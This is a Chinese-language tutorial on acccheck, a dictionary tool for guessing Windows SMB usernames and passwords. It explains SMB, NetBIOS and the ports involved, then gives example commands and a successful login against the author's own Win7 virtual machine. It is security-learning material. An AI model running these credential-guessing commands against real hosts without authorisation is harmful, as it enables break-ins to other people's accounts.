天天看點

破解使用SMB協定的Windows使用者密碼:acccheck

一.工作原理

Acccheck是一款針對微軟的SMB協定的探測工具(字典破解使用者名和密碼),本身不具有漏洞利用的能力。

SMB協定:SMB(Server Message Block)通信協定主要是作為Microsoft網絡的通訊協定,它是一種網絡層次協定,使用了NetBIOS的應用程式接口(API),最近微軟又把 SMB 改名為 CIFS(Common Internet File System)。

首先提到的是NetBios,NetBios是Network Basic Input/Output System的縮寫,提供了一種允許區域網路内不同電腦能夠通信的功能。嚴格來說,NetBios是一套API,而并不是一個網絡協定。如今,我們使用的網絡協定棧是TCP/IP協定棧,在Windows作業系統上,NetBios運作在NetBios over TCP/IP的協定上,NetBios over TCP/IP(簡稱NBT)是一個網絡協定,允許以前使用NetBios API的應用程式能夠在現代的TCP/IP網絡中。如下圖:

破解使用SMB協定的Windows使用者密碼:acccheck

再說SMB,它有兩種運作方式,第一種運作在NBT(NetBIOS over TCP/IP)上,如下圖:

破解使用SMB協定的Windows使用者密碼:acccheck

使用的是UDP的137和138端口以及TCP的137和139的端口。

第二種是直接運作在TCP和UDP協定之上,使用的是445端口,可以稱為"Direct hosting of SMB over TCP/IP"。

總結:Windows主機上檔案列印、檔案共享等都通過SMB協定來實作,而SMB通過兩種方式運作在139和445端口之上。

 二.指令格式

acccheck [-t{IP}|-T{FILE}][-p,-P,-u,-U,-v]

三.常用參數

#以下兩個選項必須使用一個來确定目标
       -t                  #使用單個ip位址目标
       -T                  #使用包含多個ip位址的檔案
       #常用選項
       -p                  #單個密碼
       -P                  #密碼字典檔案
       -u                  #單個使用者名
       -U                  #使用者字典檔案
       -v                  #輸出詳細破解内容      

四.實踐

舉例說明用法:

acccheck -t 10.10.10.1                              #Administrator+空密碼
acccheck -t 10.10.10.1 -P password.txt              #Administrator+密碼字典
acccehck -t 10.10.10.1 -U users.txt -P password.txt #使用者名字典+密碼字典
acccheck -t 10.10.10.1 -u administrator -p password #使用者名+密碼      

首先在虛拟機中打開win7系統,開啟SMB服務,并且建立一個使用者名和密碼都是test的賬戶,在cmd中輸入netstat -ano檢視打開的端口

破解使用SMB協定的Windows使用者密碼:acccheck

可以看到139和445端口都是開放的,這是在kail中輸入指令

# acccheck -t 192.168.56.101 -u test -p test -v
Host:192.168.56.101, Username:'test', Password:'test'

        SUCCESS.... connected to 192.168.56.101 with username:'test' and password:'test'

End of Scan      

可以看到成功的連接配接上了win7,同時還可以自己添加字典檔案進行破解。